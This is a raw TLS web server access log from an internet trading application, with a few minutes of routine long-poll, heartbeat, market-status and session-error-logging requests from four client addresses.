[09/Jan/2026:14:02:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938846074 HTTP/1.1" -
[09/Jan/2026:14:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938829299 HTTP/1.1" -
[09/Jan/2026:14:02:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938840016 HTTP/1.1" -
[09/Jan/2026:14:02:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938835010 HTTP/1.1" -
[09/Jan/2026:14:02:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938851103 HTTP/1.1" -
[09/Jan/2026:14:02:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938834428 HTTP/1.1" -
[09/Jan/2026:14:02:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938845092 HTTP/1.1" -
[09/Jan/2026:14:02:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938856157 HTTP/1.1" -
[09/Jan/2026:14:02:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938840111 HTTP/1.1" -
[09/Jan/2026:14:02:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938839532 HTTP/1.1" -
[09/Jan/2026:14:02:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:02:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:02:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:02:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938850130 HTTP/1.1" -
[09/Jan/2026:14:02:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938861186 HTTP/1.1" -
[09/Jan/2026:14:02:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938845251 HTTP/1.1" -
[09/Jan/2026:14:02:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938844595 HTTP/1.1" -
[09/Jan/2026:14:02:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938855217 HTTP/1.1" -
[09/Jan/2026:14:03:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938866241 HTTP/1.1" -
[09/Jan/2026:14:03:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938850391 HTTP/1.1" -
[09/Jan/2026:14:03:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938849632 HTTP/1.1" -
[09/Jan/2026:14:03:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938860276 HTTP/1.1" -
[09/Jan/2026:14:03:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938871264 HTTP/1.1" -
[09/Jan/2026:14:03:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938855528 HTTP/1.1" -
[09/Jan/2026:14:03:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938854688 HTTP/1.1" -
[09/Jan/2026:14:03:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938865370 HTTP/1.1" -
[09/Jan/2026:14:03:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938876327 HTTP/1.1" -
[09/Jan/2026:14:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938860589 HTTP/1.1" -
[09/Jan/2026:14:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938859753 HTTP/1.1" -
[09/Jan/2026:14:03:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938870434 HTTP/1.1" -
[09/Jan/2026:14:03:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938881357 HTTP/1.1" -
[09/Jan/2026:14:03:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938865754 HTTP/1.1" -
[09/Jan/2026:14:03:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938864815 HTTP/1.1" -
[09/Jan/2026:14:03:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938875532 HTTP/1.1" -
[09/Jan/2026:14:03:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938886384 HTTP/1.1" -
[09/Jan/2026:14:03:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938870854 HTTP/1.1" -
[09/Jan/2026:14:03:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938869869 HTTP/1.1" -
[09/Jan/2026:14:03:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938880562 HTTP/1.1" -
[09/Jan/2026:14:03:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938891443 HTTP/1.1" -
[09/Jan/2026:14:03:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938876009 HTTP/1.1" -
[09/Jan/2026:14:03:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938874951 HTTP/1.1" -
[09/Jan/2026:14:03:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938885647 HTTP/1.1" -
[09/Jan/2026:14:03:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938896504 HTTP/1.1" -
[09/Jan/2026:14:03:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938881133 HTTP/1.1" -
[09/Jan/2026:14:03:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938879985 HTTP/1.1" -
[09/Jan/2026:14:03:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938890737 HTTP/1.1" -
[09/Jan/2026:14:03:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938901564 HTTP/1.1" -
[09/Jan/2026:14:03:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938886271 HTTP/1.1" -
[09/Jan/2026:14:03:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938885041 HTTP/1.1" -
[09/Jan/2026:14:03:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938895815 HTTP/1.1" -
[09/Jan/2026:14:03:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938906630 HTTP/1.1" -
[09/Jan/2026:14:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938891327 HTTP/1.1" -
[09/Jan/2026:14:03:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938890113 HTTP/1.1" -
[09/Jan/2026:14:03:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938900906 HTTP/1.1" -
[09/Jan/2026:14:03:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938911659 HTTP/1.1" -
[09/Jan/2026:14:03:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938896389 HTTP/1.1" -
[09/Jan/2026:14:03:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938895171 HTTP/1.1" -
[09/Jan/2026:14:03:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:03:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:03:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:03:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938905978 HTTP/1.1" -
[09/Jan/2026:14:03:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938916715 HTTP/1.1" -
